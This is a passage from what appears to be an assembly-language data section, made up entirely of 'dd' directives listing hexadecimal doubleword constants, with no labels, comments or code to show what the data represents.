8EA200D6h, 29D42BA1h dd 2971EF8h, 6079985Fh, 51459B30h, 60A0D207h, 0FFE64F64h dd 6D3A4300h, 59F9C9Dh, 44982BEBh, 469428D0h, 0FC460286h dd 3135A3ECh, 3E581005h, 0F89D12FCh, 0C6500243h, 2CC59FF6h dd 0E2279010h, 293ECC20h, 0C3764288h, 1020365Ch, 0A1110B10h dd 2B5780D9h, 76E77A35h, 0A97B0639h, 492AE269h, 2E566B0Bh dd 476F8009h, 748DDE9h, 8F6696C2h, 583BF01Ch, 2169E341h dd 56408031h, 2EC376B8h, 25FD847h, 53EE953Ch, 3D46EC94h dd 90D04E02h, 25312FA0h, 0D045D610h, 486BD716h, 106F4465h dd 4C4B9100h, 0B18D8C66h, 988E4100h, 0AD09B8DEh, 0AA401FDh dd 0A00BBBD2h, 1F9DF3Dh, 5B08203Fh, 25D70F2h, 8433241Ch dd 8D3D98E0h, 0C798DCFFh, 29695775h, 39259C02h, 35013CC5h dd 0C220DF92h, 8C416858h, 94D05204h, 0DA384FA0h, 0D1D04900h dd 33A7528h, 82810168h, 3E881876h, 0A5A88199h, 0AC9BF60Ah dd 0F041C931h, 0E30231E5h, 0ED160864h, 4B00B204h, 5C57582Eh dd 0C51918C0h, 307130F5h, 18409580h, 58C4F690h, 990B2D92h dd 24B91AAEh, 0A854DEF0h, 23116413h, 24F15B48h, 0A2D8730Bh dd 7B6C30D2h, 0A15F301Fh, 6D40E849h, 0A2446068h, 3E40AD96h dd 6C944CC0h, 590C0496h, 1865072Ch, 2B457E81h, 5171192h dd 4023E2D8h, 0B405C394h, 0C500921Eh, 6B5F823Fh, 3D0FD583h dd 130E1B4Eh, 8F015E16h, 32CEF288h, 14A11018h, 6E12184Ch dd 0C8308E99h, 35CBC20Ah, 0E2F20960h, 0F65D05E8h, 0BB6609C8h dd 9D5E8065h, 9678C4EFh, 40CA3A18h, 0B78B5CFCh, 162FCD0h dd 49AE6A0h, 0F850B5BAh, 9400FE74h, 0B57D1F4Ch, 716DD8CDh dd 0F81C1C0Eh, 30585744h, 0B80C1D98h, 0B2CB5001h, 0FB4FDC0Dh dd 14A8FC38h, 38094586h, 9E220A0h, 0C22286A0h, 0C891ECEDh dd 47842043h, 7F5B61B7h, 0FA7CF848h, 737D0265h, 4DF85AAAh dd 4C918063h, 0BCDC3C32h, 0B30E8CD2h, 0E00149EDh, 96A3E9A8h dd 13589E55h, 0EA48D292h, 115A9430h, 888E9A52h, 8C518007h dd 0ECE41A5Ah, 5BC48103h, 0B1BD8A03h, 10776B44h, 3C231848h dd 70044D13h, 18D827A0h, 44D58824h, 865AD03Bh, 22DD66A2h dd 58630148h, 0A34CD9A6h, 16D436C6h, 3081247Fh, 0D30FBDEh dd 0F29C02D0h, 0E647D82Ah, 0E11644CCh, 8C441D2Eh, 40D89020h dd 4A981919h, 334210C9h, 30C9A204h, 41627593h, 3DA9B8h dd 1077953Eh, 3B15C50Fh, 0C03B1DFAh, 52702DA2h, 0F8335080h dd 0C9DF8717h, 6492A849h, 582F2498h, 25D4004Fh, 0FA2D68CEh dd 0AF00D37Dh, 0D112A0C2h, 0EC6A6E6Ch, 2AFB05Eh, 9CA40C21h dd 0B049EB58h, 6CBE10FFh, 0E6F87861h, 49D80059h, 5502EBECh dd 2703338Fh, 0C3E59206h, 9731000Eh, 5CF80862h, 24A867EFh dd 0FE016F96h, 3DF5BE0Ch, 63ECC219h, 18DA0F53h, 37E00EB5h dd 0BB6D989Dh, 0CB152139h, 9A074847h, 31C5CDF0h, 0E0E80141h dd 7290A6E2h, 36147013h, 50044B49h, 48C421Ch, 0A093D053h dd 20236257h, 9BD04AD7h, 6701816h, 0F7A68040h, 0A10DF394h dd 0A8331CC0h, 5031D910h, 0C484B0DCh, 1ADB80h, 2D90ADA2h dd 18172C50h, 0A68F8820h, 0FEB89D41h, 880B6901h, 4318B448h dd 99022F37h, 0BF5A9856h, 0F8F04416h, 794B832h, 0A2B75BD4h dd 9EC082B1h, 1886451h, 9B59004Ah, 22E23CD2h, 0B6DF51C0h dd 5F85C7h, 2FBE50B2h dd 0F590520Bh, 0E9BCA106h, 2080175Ah, 18CA1826h, 6C0D84A8h dd 69A6A1DFh, 16602912h, 6BCC90E2h, 60ECF4Dh, 0C047580Eh dd 9CCE3E3Ch, 93700D97h, 37A820EFh, 0B1860950h, 0CBC4E3Ch dd 1FE23B56h, 62137459h, 0D30EE9B7h, 42F12029h, 7173938Bh dd 80D49EBAh, 48E1D522h, 8A496B75h, 0B3A285F4h, 12A044D8h dd 22CFEE68h, 4CE502E0h, 6732E4h, 0B8CF8AD9h, 0BA232904h dd 14901363h, 0AB159D1Eh, 5241A2D8h, 36DCA15Ch, 954D9710h dd 0F5A00D60h, 441DA73h, 997EA1EBh, 0A43CE421h, 13555E13h dd 3980821h, 9D4B075h, 0B93A15E8h, 5D0080CBh, 95CEE774h dd 0D307B029h, 2ADEEDF1h, 0F0DD4B23h, 631E232h, 0C2F26AB5h dd 101CA119h, 0D1401DECh, 0B9919F18h, 0CD51C0C1h, 4233A01h dd 2F1AD200h, 51A2E255h, 5424129Dh, 8534C748h, 0ABEC0BF0h dd 11235C82h, 83D9AC00h, 97C80045h, 5D1EA2EAh, 9F0BF1F2h dd 785CB8Eh, 0A0C18B60h, 0C450B58Ah, 9E1E2D45h, 8F912CCh dd 8D12250Ch, 95C34400h, 11CD99F8h, 3C2080BFh, 0AE160740h dd 87E077DBh, 0D6C1DD53h, 0FF40061Eh, 412E919Ah, 63467810h dd 343B4CE1h, 0C0E96070h, 0ACA4F042h, 5C4BEB5Ah, 4CECAA9Bh dd 0EE3839E0h, 3DCC4E6Bh, 6F18394Ch, 0C3A4EB20h, 0C8E9DF8h dd 0A5C0D588h, 1346418Fh, 30DA54B6h, 0DDAF37B0h, 90E1B22Dh dd 90FDA7F8h, 0DC8E0093h, 728BC0A2h, 91770C23h, 4514EE98h dd 87F0BA27h, 0B006650h, 723B2539h, 0AE61012Dh, 54799440h dd 0EA9E498h, 0CB4CC8A0h, 11FCDC49h, 44485891h, 38EACE01h dd 24F0688Fh, 3D189B04h, 8E381329h, 1F9E5A88h, 69350B98h dd 0C48B4460h, 4E9868F3h, 0FD232C2Fh, 0D19E8201h, 0C3C34Dh dd 0BE3B719h, 67B9E966h, 9E287301h, 5D7E817Bh, 1620C8h dd 92358A4Eh, 47828CD9h, 27654448h, 5E2085EDh, 0A542F820h dd 92E8B61Ch, 4428D37Eh, 390158E1h, 22BC5874h, 0AC67070Ah dd 788AFFh, 92B714DBh, 0E706FA00h, 0A5A84574h, 788748C8h dd 0EFC16E3Ah, 0FF6494B8h, 803C50CBh, 13951EA4h, 0F80A0062h dd 4987E979h, 8005F38h, 14B4AEE1h, 10153F3h, 627FF7F4h dd 80589FDAh, 4D3A3931h, 3F1DE230h, 966F426h, 99012144h dd 95514D32h, 4C21F65Fh, 0E04818E7h, 6BEC09ABh, 6054E718h dd 6CF5C10h, 28DEC959h, 0E5007833h, 68ECD387h, 0DA2208h dd 0A3C6D88Eh, 4217E163h, 0C5DFD518h, 0F027EB40h, 0EF2F30E5h dd 0EA658110h, 0F2093F00h, 99EC80DAh, 8D621D5Fh, 87668390h dd 0A83F5AE1h, 0D4C2004Bh, 47DCDE26h, 60F645h, 32169B8Bh dd 0B1EC1B18h, 208AA0CEh, 6259F80Dh, 1317E2Ah, 353C9339h dd 98348B5Eh, 0CB212308h, 0EE180F28h, 6FC35FB0h, 2E71DE3h dd 0A480A395h, 281478E8h, 291E9F3Eh, 0DB11B099h, 314D429Ch dd 7E1C25E2h, 704D009Ah, 7FBA57FBh, 1E503CDEh, 8B00029Ch dd 0AF478599h, 1504B0F5h, 0E477485Dh, 63E56205h, 0E89401F1h dd 50A81F4Dh, 0EE07E4C8h, 0C758F80h, 0F2139734h, 48CD798h dd 0E22D4D35h, 27506205h, 9F4DE096h, 1C008D2Fh, 0A41BDAEAh dd 6048DEF9h, 9CD9A03Ah, 1F51240Bh, 3C0120CEh, 249718CEh dd 40803389h, 0C560DDFBh, 33965950h, 0C43DDCh, 0B7E4F27Fh dd 1020E9DBh, 1809487Eh, 50B85210h, 17652024h, 0B4005A59h dd 0A67D9530h, 620C9070h, 52ED708Ch, 3032200Ch, 0D861F772h dd 0E203A391h, 63E9580h, 0E3093079h, 0A3893821h, 447BD700h dd 0C26D939Fh, 0E258C176h, 218B2DDCh, 0F67DF024h, 0A4AA5C7Ch dd 9886B404h, 18082D24h, 701C9335h, 180024C7h, 5719DCA5h dd 12815FF2h, 222968D6h, 7920EF90h, 9FCEFAh, 0F432829Ah dd 0C50289F3h, 61B8DD00h, 0DCA6012Dh, 6E89231h, 0CD67CE4h dd 0E90A1025h, 845C6997h, 0CC042812h, 3A25EBCFh, 74523FCh dd 97D77330h, 7BD5B0B6h, 604454F9h, 0F3A322D4h, 0CCECF814h dd 0BA958798h, 0DB53268Fh, 968A0220h, 0EE6A8906h, 838B8881h dd 2921F8D4h, 50A1E032h, 2BA8B084h, 93371118h, 801F880Ch dd 761822C9h, 2700D5B4h, 6B541784h, 0C8FFEE0h, 0F61BD4D8h dd 5020A78h, 15BFE362h, 0F88C805Eh, 61DA7965h, 0A6C27826h dd 0C8F0A054h, 103A4422h, 39BF609Fh, 0E23B018Bh, 0EFCAE76h dd 0F662208Fh, 20711032h, 18B463F1h, 3B7C9811h, 0CC1DAC73h dd 95A0F103h, 0A21833B8h, 0F9593146h, 27F4309Fh, 8E7F981h dd 1B9CDE89h, 93C2873Bh, 45B1A7F5h, 602151B6h, 4D8F9020h dd 0A824B0D0h, 0ED0B0D74h, 10A3FC10h, 8B4A5D05h, 6801BCA6h dd 5F317D87h, 30C00902h, 0E18355ADh, 1FCA5D6h, 68326E53h dd 284968h, 3C7D720h, 6B65B815h, 800FB095h, 835FF701h dd 0E088ADAh, 6C580B60h, 59D812C0h, 5F670513h, 0C04801E0h dd 1CF4C68Bh, 92813D80h, 22C9008h, 0B3141356h, 9049C8D6h dd 0EB3C3461h, 4F8D8F18h, 24D98548h, 835490D4h, 71D6FB0Ah dd 0ABF62970h, 739A0804h, 50D0527Fh, 0D41FD8AEh, 1112450h dd 0DD5C095Fh, 7234A3F9h, 8EA11FE4h, 650FC064h, 7D126FE3h dd 0D44A900h, 59A41932h, 0C9201797h, 0C0D2095Eh, 8139E022h dd 0ADA8A08Ch, 76284840h, 3AC90DFh, 601F7CACh, 91100C25h dd 1069324Ch, 2B2AA80Eh, 7D0B82E0h, 60645DA2h, 39EA8C44h dd 0A44DCEC8h, 0E99FEB06h, 1916684Dh, 6402977Fh, 86792BFFh dd 0F991E3FCh, 833ACDF4h, 1D8C7812h, 0E8670820h, 0C618C268h dd 320021ECh, 18BCB18Bh, 98C89D45h, 9481D77Bh, 6C1F3424h dd 22709084h, 80F9E528h, 7DC120h, 92AD7BE1h, 0DA283347h dd 970DB304h, 2C815BA0h, 64618E4Eh, 414F6C20h, 920430D9h dd 0A4387548h, 30892882h, 3A111830h, 25883493h, 1827CA80h dd 14A884h, 0EE57206Bh, 919FE940h, 47805951h, 1C19E4F0h dd 0D124C100h, 50FA87E4h, 49A084E5h, 0E93CD05Eh, 531EC700h dd 394A7BB1h, 85D32603h, 128905h, 2BB56A71h, 1B380635h dd 27E30B03h, 430FCD5Ah, 686678C1h, 4D10F1ECh, 0C1A479C6h dd 4874CE50h, 0B4A83BFCh, 1B504311h, 12889DD8h, 2D8B09DAh dd 200189A3h, 25630127h, 0B6BD6080h, 0DEE99001h, 0C6E155D3h dd 21790898h, 0B600DD23h, 26356A45h, 733D1A5Dh, 9164657Dh dd 83F025CCh, 55A7D6BCh, 87CC2830h, 182E048Ch, 6724933Ch dd 25CC8EA8h, 9AEDB1C3h, 2433D822h, 0BEB8FE72h, 0EF67C980h dd 295E3F2Dh, 0E955C102h, 8441D5B7h, 38C131DCh, 8851876Ah dd 0D454537Bh, 0E67FAC04h, 2FB21612h, 0EE231Ch, 0DAF2D6CCh dd 0C00A44C7h, 848F94FFh, 0EA6595C0h, 4D8A576h, 0C21B7EE8h dd 2049DDA4h, 7F6C2027h, 0FAE100F5h, 0BC5F55DAh, 0CCED5CDDh dd 98427371h, 0B967209Ah, 27F189A8h, 0CA93C18h, 78528665h dd 938906A6h, 106B7275h, 0D2BBDA1Eh, 8F3B4BC7h, 292BCC3h dd 0C1677938h, 84847AB8h, 0AB9340E6h, 740E37h, 99AF3E98h dd 3B4DFD5h, 6D064B05h, 3CC1463Ah, 31024E35h, 0FB7380B1h dd 37EB4900h, 0A489126Ch, 1AD2386Eh, 0D99C218Eh, 5A077A67h dd 4D3BC090h, 689173F6h, 0B0642B11h, 3B242ABh, 87C8FD4Fh dd 80923A4Dh, 8E45C12h, 96F82058h, 43509145h, 99298111h dd 730C3CF8h, 0E84919F3h, 0AC4209E5h, 90A0F082h, 0D680F67Dh dd 50763C20h, 0C542C9EBh, 905520F8h, 9BDD2A38h, 0C044E44Ah dd 0B8158DA6h, 0DF012523h, 0EEE98EB6h, 1D887018h, 0C2B609D7h dd 0C0826EE6h, 511124D4h dd 0AC1200EEh, 271FF116h, 0F712ED62h, 0AB5A9CD2h, 11FC1DA0h dd 8BD78046h, 3A464E1h, 1205FEACh, 74F80EB2h, 87526719h dd 108C48ECh, 228184Ch, 73CE44C4h, 1982EB16h, 8A33B82Ch dd 60268804h, 238FB6E4h, 7511D6E9h, 0B6DC2400h, 4445395Ah dd 1ADF4700h, 8A22DA51h, 331C00A1h, 6158CC1h, 21A2B21h dd 476817C9h, 60704474h, 139D10DBh, 8068AE77h, 751162A0h dd 2943454h, 67317460h, 718E842Dh, 119A0354h, 0F1C99FDDh dd 0BC9DEBC0h, 48388A30h, 88FE0659h, 58A9C74h, 0A4C15494h dd 3A057633h, 0E792314h, 862C175h, 30604118h, 322888EFh dd 732AD4E5h, 4303D8FAh, 0D70EEB2Ch, 1A6B98F8h, 7AB10784h dd 7988D8E0h, 6789C2Ah, 98209212h, 90605445h, 0C0EE0486h dd 0CCD7FADAh, 30B06B50h, 3024AC32h, 74F028CCh, 29126E46h dd 0C8B0CB32h, 0C99AC019h, 0D4B90588h, 40DE43h, 0E7798229h dd 3B153089h, 0AF44A490h, 31592C1Eh, 0A392C000h, 9D4680E3h dd 3900F022h, 8C30A38Ah, 12971D90h, 0C1D8DE7Fh, 0AC1B89C4h dd 60925071h, 8546BC91h, 2068072h, 1828298Eh, 9821D20h dd 998975B7h, 674EE002h, 0F480D900h, 72152676h, 13036750h dd 40C08BEDh, 0B84B9533h, 0A7237C3Eh, 0C30BA7F9h, 0ACE4CE80h dd 932258A4h, 0B6E00108h, 23F6E98Bh, 0D82080F8h, 3F3CCB6h dd 0E3E2A501h, 39809021h, 2284D15h, 8EB09047h, 0D82E4E34h dd 0C4C2B8C2h, 3FD42674h, 5F189F8h, 8BC4A0Ah, 93E61DBh dd 96F4F7E5h, 860CA1D4h, 0DAD07014h, 7430C68Ah, 46E3D011h dd 0DD130DFCh, 0F848E527h, 7A169C1Fh, 380562ADh, 3005E143h dd 449059DEh, 0ACB095B1h, 1C84942Ch, 223CEACDh, 764D84B7h dd 0FFF68644h, 85652020h, 0CB307549h, 721482DAh, 0ACCC5878h dd 9DD81228h, 3458041Ah, 95001C2Eh, 3BD4E090h, 1120B1EEh dd 0D75C02CEh, 0A0ECD55Dh, 4FD0849Ch, 99D80E31h, 0F489FB07h dd 7B91E89Fh, 0FDF52C80h, 64B0DD4Ch, 0C0ACE94Ch, 71EEBA5Eh dd 96EA008Ch, 4CC30CB7h, 3F04F416h, 6A9AD477h, 0D7C0F8B2h dd 1F2641DAh, 2C6ABCA1h, 0EFAB841Ch, 0A4A9DA1Ah, 0FCB028E2h dd 0E016A38Bh, 188B6580h, 0A3833203h, 878AB5A8h, 8800FC59h dd 8243E7D3h, 2DAA0057h, 0AD2B6D0Bh, 160012F2h, 496BA91Fh dd 0B731822h, 3AB95DE1h, 7AAAB880h, 4D148D3Ch, 4CB86C62h dd 0E5861928h, 0EC419059h, 8A01849Eh, 1C89F09Dh, 8B02309Ah dd 879A5899h, 291A0EC4h, 71769082h, 0BB44A0E4h, 78833A8Bh dd 89D6EA00h, 2AB5BF43h, 2B4C1098h, 0FE131120h, 5821D44Ch dd 0E3802991h, 0CEE992B6h, 217C448Ch, 70B6DB00h, 2A3C12F7h dd 11EE03F9h, 1BA986DAh, 0F4426808h, 8CD5935Fh, 5304A3C0h dd 4ABF7303h, 7B1F7900h, 0A00D3B6Ch, 0F8F4B189h, 8C831030h dd 381218E2h, 0F0CB0493h, 1821C800h, 0E065DD0Ah, 0A99C3000h dd 699FE8F6h, 197F8053h, 0B18FE90Dh, 0D830105Bh, 0F30C2070h dd 0B8C5F770h, 9040FCE7h, 0DD325204h, 0DA19097Eh, 3849F356h dd 0DE00F63Eh, 805EB2F4h, 9028A781h, 7622F43Ah, 190E0A65h dd 78208828h, 1F8C5399h, 9E24AB7h, 0A869FDD3h, 82F1888h dd 2C933B18h, 0CD4024C4h, 8AF41826h, 0CBDCC30Fh, 0EA5C43B8h dd 8B210708h, 0A4F74D9Eh, 0C0A8C436h, 2274E754h, 5C2C202Eh dd 0DC02582Ch, 0C27F3088h, 762C4170h, 930C3429h, 0ECE17E4Dh dd 0E267FFE2h, 0FDAF0DA8h, 0A1D61871h, 8861A470h, 0B712E98Ah dd 20C54CADh, 0AD375808h, 2291D897h, 0FEB31180h, 8B00F49Eh dd 99F685A1h, 0BCCF5CC4h, 96682820h, 0D4B840D8h, 7001087Eh dd 64BBB5BDh, 5F02CC5h, 0D1971A53h, 0DC819951h, 9704587Ch dd 0C88C40h, 1DC62DD9h, 0F1B53404h, 728460E0h, 7B880FFFh dd 0D0AF54C0h, 3E3D03D8h, 5D02C646h, 5C7E2100h, 0DBE40EDDh dd 0C95F6FA0h, 0CBBEEB40h, 6D1C6933h, 0E4811525h, 0F4AAE027h dd 0F4E22094h, 0DE4D9581h, 61DC527Ah, 0AE6954E3h, 0C7048210h dd 3DECDAFCh, 8A8994A6h, 98A4675Ah, 0A38E602Dh, 7D8023DFh dd 3500F111h, 0DC96A386h, 51720842h, 0D5423499h, 72322129h dd 6B3981F2h, 365DF99Bh, 269F4870h, 96543C85h, 66940892h dd 4AB21280h, 0A427A122h, 49E24A84h, 64C8730Ch, 0C2B0DC31h dd 2BA11600h, 0B9C9E351h, 49820189h, 7CECE418h, 76682032h dd 0C88F4740h, 91822068h, 0C813E4E0h, 257EDAF4h, 0C880ACC6h dd 6A6D9332h, 34487C4Eh, 648DA537h, 69D43C51h, 4484C718h dd 0C1F16023h, 0DEAD2447h, 749B25C9h, 678AB810h, 4ADD9209h dd 4645E084h, 7E291389h, 0C9A700C3h, 91E5B009h, 289818B7h dd 22D1E72Dh, 1633624h, 57EA897Ah, 0A4FA40F4h, 86008B8Fh dd 0DA7E2E3Dh, 5587E97Ah, 0A43390D1h, 0FD30E2A2h, 66D214A1h dd 0FB0B1C8Bh, 24C2B3ACh, 48A7DC68h, 609C48B8h, 0EEA3B0B1h dd 25B88701h, 8BE18086h, 3C7D4C9Bh, 5B427CFDh, 0E21418FFh dd 434EF55Ah, 0B82C9013h, 7040D416h, 0E8CEDECh, 0AA842AE1h dd 80A6B607h, 0A9E02D04h, 0C72040B8h, 4E18908Dh, 37C430D9h dd 0E22F2B4Dh, 1DC09615h, 0C44D2F94h, 0A0C7E4E2h, 0B6028B24h dd 355FA7BBh, 71B8C402h, 0EE6D2433h, 60929234h, 18C67F5Ch dd 6905C094h, 0E8B009B7h, 8FD90228h, 4CA68B30h, 0BF10687Ah dd 287C4D19h, 100C44C6h, 2752158Fh, 0F2008475h, 0D85E0E52h dd 894609Ah, 0ECC4A485h, 7AC05A60h, 311E6490h, 8E438CAh dd 4EEAA600h, 0F0A3AEA1h, 0A021E1F1h, 226F1430h, 10C454F5h dd 2015DD6Bh, 0F27CA292h, 0EAFB3046h, 0D56197EAh, 0D8A6E1D1h dd 0B0E852D3h, 79FC5F22h, 0CE467E01h, 58A68AE7h, 78A69C44h dd 0D66FBFF0h, 0BC6D9700h, 7340337Ch, 18C8A082h, 6780C215h dd 0A4C4C1B9h, 304E3645h, 89CF5288h, 76C1039Bh, 96C4813Dh dd 0F0625468h, 0E90E2D98h, 1DB0298Ah, 8116115Ch, 581E7E57h dd 3EB8083Dh, 0B0E0D42Ch, 8F48D15h, 2CEC97E4h, 468E0898h dd 84D9811Ah, 0DF209250h, 1C415CC6h, 99BE89F1h, 0D0277C48h dd 7511B89Fh, 0FD079F80h, 0F7002B82h, 9736E157h, 9A426593h dd 5038B0A0h, 6B90DC80h, 0A4978028h, 0EB856D91h, 0EACC1B4h dd 0ED420043h, 2BF54133h, 5636A821h, 41DAFB01h, 30A1D030h dd 75FECF0h, 7E7D2042h, 977A0074h, 197EB87h, 76AE773Ch dd 6403FC7Ch, 5E4D7411h, 0DCDE4817h, 28FA30Bh, 0E0594704h dd 8050F1D8h, 0B104EC19h, 40C66D3Bh, 607C74F4h, 8794309Bh dd 7307A8DAh, 814D960Bh, 6B0163h, 0B7AF78A1h, 22799B5Dh dd 332934Ch, 0C3CD5A94h, 0E4B01FF8h, 0EB028028h, 2B70AE7Eh dd 0E37C0797h, 8F631980h, 6A274AD9h, 0F96223D8h, 4D60B62h dd 6768600h, 0F96702h, 0ABD081CAh, 8A90F3C8h, 845FB23Ah dd 0AFB6A3E4h, 207D64F0h, 81285152h, 592CEC57h, 3208F42Fh dd 840A563h, 2342B8C6h, 7CDE8109h, 0DE2987Ah, 0A0C5444Ah dd 92A5882h, 85816007h, 670C9120h, 7C98228Ah, 24F0A613h dd 20C5E822h, 1160EC20h, 0A3D9F80Bh, 228C6E21h, 1229774h dd 0D0F66Ah, 75B4DDAEh, 7CE23F3Ch, 0E08C522Eh, 79D871C9h dd 11518F0h, 0E4DEFD50h, 252CAE80h, 4E4F6B0h, 8120BC98h dd 2004B08Eh, 0DA0AF3DBh, 8438A680h, 70B7978Ah, 0C9844E01h dd 0D470E1E9h, 7EE8882Fh, 68917F98h, 0DF58073Fh, 2290895Dh dd 0D6D0E9h, 0F8F79C76h, 6ACA5B06h, 0D8D1F424h, 2CD45E15h dd 18C08C8Fh, 151D75Ch dd 0C97D8C4Eh, 449F7A17h, 6850ACB4h, 0CE04C469h, 0E305319Ch dd 812016BFh, 0F63568h, 0A00A4B11h, 84E4E3A8h, 8C2E2F46h dd 6D800A50h, 41E5C4A8h, 4EA38433h, 63EA9330h, 0D4C18107h dd 9FDEE4D8h, 0F50048B9h, 540D81B2h, 0F68A002Fh, 0C6F05CF7h dd 7E01A47Ch, 0F567461Bh, 403A0277h, 6E7076F8h, 2C1F9ED6h dd 114B8931h, 50127Ch, 0F794D84h, 7D50936h, 24D20140h dd 7844434Fh, 64821EA1h, 461846C9h, 0AA8F3134h, 2C2A8580h dd 870036D4h, 0D51991A3h, 12A9E65Fh, 20886701h, 58C6FF78h dd 8420E41h, 3C042BD1h, 4B3CA3ABh, 7D359430h, 12B8BA92h dd 30B9781h, 0A99FE9D0h, 0A1E406FDh, 0B71CE949h, 85007984h dd 0B287D204h, 93270240h, 428D1083h, 0FC428859h, 0C3010E09h dd 8088ABA3h, 873F6211h, 12343048h, 72E4CEE0h, 903033A4h dd 4680FCA3h, 9E4228Dh, 0C3A38837h, 15202082h, 4ED78903h dd 88708E40h, 4F3CF16h, 2423A88h, 50AFCCE2h, 0B0C8ACB8h dd 2DC4654h, 0E22E4D3Ch, 97001C2Dh, 0E9964D34h, 0B4C5DF2h dd 59B760B4h, 73285C40h, 0EB5CE10Ah, 0AA6094BAh, 3F2064B6h dd 96A442CEh, 0F49DADF4h, 0AC80EF91h, 1CFC4E93h, 0B058CD00h dd 0EB73E8B7h, 6094945Bh, 34E98749h, 94D68180h, 0C14C2404h dd 20EC9BFAh, 4EC124DFh, 0D580BE7Bh, 1C45828h, 0C9A0906Ch dd 70008308h, 4EED9AA4h, 26C7772Ah, 9260CCAEh, 42500D39h dd 309C5939h, 39FB6E14h, 0FF03143Ch, 4205FC4h, 18729Bh dd 0FB9A800Bh, 25E08BBBh, 0C5DDD400h, 0EC81F788h, 0CC979D96h dd 940D46BDh, 2F906345h, 52A84059h, 17E08464h, 42F0E3E4h dd 5E867548h, 0F720203h, 0B62E6FF9h, 2B39B2E0h, 690008ECh dd 0DC505CDEh, 3088ED20h, 0E870F5B3h, 0A40EB44Ah, 7324458Fh dd 3388F85Fh, 93B80BE7h, 57A84882h, 0F284885Eh, 0F4B65A96h dd 0D5A8BCE3h, 3C04687Ch, 67AB9504h, 0C4F26884h, 1F3022F2h dd 0D4C812B3h, 504CF3B7h, 229D3B9Ch, 5E4E6504h, 678902F8h dd 7AE08AB9h, 260051F7h, 0AF87955Ch, 4FAE0483h, 0A09CCC47h dd 82516060h, 50025Ah, 0C1C7C488h, 812C15E1h, 3B78AE12h dd 0E0A82420h, 96E373ECh, 0D54082A8h, 44B2F65Bh, 3500E0C6h dd 0D0F3382Eh, 14691DEh, 9286C5A2h, 2A854AEBh, 0B123483Eh dd 0C10BB1F9h, 25DCAE7Eh, 0A8CC3D09h, 803301AEh, 0B835898Eh dd 0E8C080D3h, 0DA3E5F4Dh, 0DC730022h, 0EC8C66D5h, 114B7F70h dd 6FC8408Bh, 0EB4BB2C0h, 0C88862B0h, 54F0295Dh, 0DE9581Dh dd 93329801h, 20A78937h, 102420E2h, 5A50C22Fh, 30A864C1h dd 6E5A7ACCh, 0AC68608Dh, 8C1FACh, 0E885F0A4h, 4761B397h dd 7CE5CC04h, 1CB07AD6h, 1208B189h, 3C7000E9h, 0E00BAEAAh dd 0CA1D52C0h, 0E628CE9Bh, 6D14094Eh, 8CF8DA18h, 7FC68909h dd 7BDCD902h, 88E560D4h, 4D97339h, 0C4D67DA7h, 0BD60A43Ah dd 8890465Ah, 84F0DFD4h, 8B028370h, 0E4301399h, 67084A48h dd 80314F10h, 0BC2494F9h, 1980E173h, 0D2C9FE1Dh, 481F4FE1h dd 7A14206Ch, 0ED580FF0h, 0DD88D89Fh, 24CE3F80h, 0C1D844CAh dd 0E378023Ch, 0E6BC409Ch, 0A6DF807Bh, 0D72C14B0h, 0DD44A496h dd 2F4D3B60h, 6535E22Dh, 339880E8h, 5412D44Dh, 1ADD9000h dd 218AC6Fh, 3C9269h, 0E606031Bh, 0D6249BBBh, 0A020B05Bh dd 0A1D26Dh, 0EAE4E221h, 0F0EBDF46h, 2DB9BA01h, 0CDBD2F24h dd 9CF46CC2h, 51465E48h, 82862300h, 0DCE2A3F9h, 38C01B5Ah dd 0C55D7511h, 0E3E55C29h, 420E1064h, 0AF19F448h, 0C0EA30C8h dd 74F50CEh, 59BF78C0h, 4828A56h, 9501E7BBh, 0A0C35138h dd 26DD148Fh, 0A258FAD7h, 47722030h, 0A3D5381Fh, 43209C2Dh dd 0ACC05C1Dh, 0CE88CEEh, 8C5FEF05h, 44A88FF2h, 3F29F406h dd 0FB06297Ch, 0F80BEAD8h, 0C417E171h, 0EC2CC8E0h, 2CA15415h dd 7C2F4F94h, 5C004E23h, 0B03357F2h, 2CA3EAE3h, 63C435Ah dd 69F02E91h, 357D8DF0h, 5FE181C4h, 0B9B74941h, 0C807D3Ah dd 302E77F6h, 0EC8A05C1h, 0F184EAB1h, 0EBD411F0h, 4402AA0h dd 41EC2490h, 4FAC710Bh, 0A1243722h, 2E619A75h, 4C3AA056h dd 0A8032423h, 0B023FD53h, 2D2A360Ah, 50C073CDh, 0E4982DDCh dd 56641179h, 0C818891h, 5C608FA7h, 665744E9h, 0C72694Fh dd 7C820923h, 90CB1350h, 0B2FE822h, 0CBC16D8Fh, 0E5B2D4A3h dd 2050F7ECh, 204F5344h, 60BEC484h, 2587E8F1h, 60685FB9h dd 297197EBh, 9096F188h, 419A459Ch, 19E6CB70h, 1EF2F472h dd 2E3F9230h, 0FA44EE1h, 7384D66Ah, 427E4E4Ah, 49E58FEBh dd 506DA1B8h, 2E2E612h, 25DD5CEDh, 22403476h, 4BA13A4Fh dd 2E082ACh, 0D20F207Ah, 2038AF0Dh, 0FFFAEBECh, 0F7624CC0h dd 9289271Eh, 3ED00496h, 9C911360h, 8F056B4Ah, 0FEADC840h dd 0DEA0AD43h, 34802024h, 0FE6D3913h, 828FB064h, 7464A120h dd 0F62DCF00h, 66F01D3Ch, 0EBF11830h, 73A6E807h, 28C157FEh dd 2B18C6C9h, 0EB877184h, 0A68101EEh, 84621FF8h, 8010E32Eh dd 50AC8651h, 35B0209h, 5BF9090h, 0DC828258h, 8CDA853Eh dd 0E1022346h, 0FEE98CB6h, 1F589C7Ch, 5FB600D9h, 0B211EC98h dd 384C237Bh, 0FFAF10B8h, 5645930Bh, 19085459h, 0E865258Bh dd 0D66016E4h, 862C7D93h, 4E823849h, 0FC6E758Fh, 97890518h dd 1E7C12B7h, 0F9923CCCh, 5E902047h, 61EA7411h, 65766082h dd 18186282h, 7929ED75h, 1FD880F0h, 6CB2DA87h, 0F3F4028Fh dd 0A87C6281h, 1DE60C06h, 105A4880h, 8598EB2Eh, 0D3D587A0h dd 0FBE83350h, 0FD05F0AEh, 42D1B796h, 0B5E4C823h, 8B0380EDh dd 0B27AEB09h, 0F4D03CE2h, 18F22702h, 0DE484733h, 4885DADCh dd 27884072h, 8AD84A7Fh, 5EADDF8h, 1485952h, 0E6FA8139h dd 0A4411072h, 484A2955h, 2CC2D064h, 10BEFA3Ch, 43D95469h dd 0CE7F8220h, 1FE527EBh, 7B788292h, 0B06254A4h, 9449F450h dd 0F7490918h, 236C905Ah, 3C88B40Eh, 0F4D6B302h, 0A85AF306h dd 68EC72F9h, 33443808h, 0E4093C84h, 5D54C488h, 0FC46B0B8h dd 0C41FC701h, 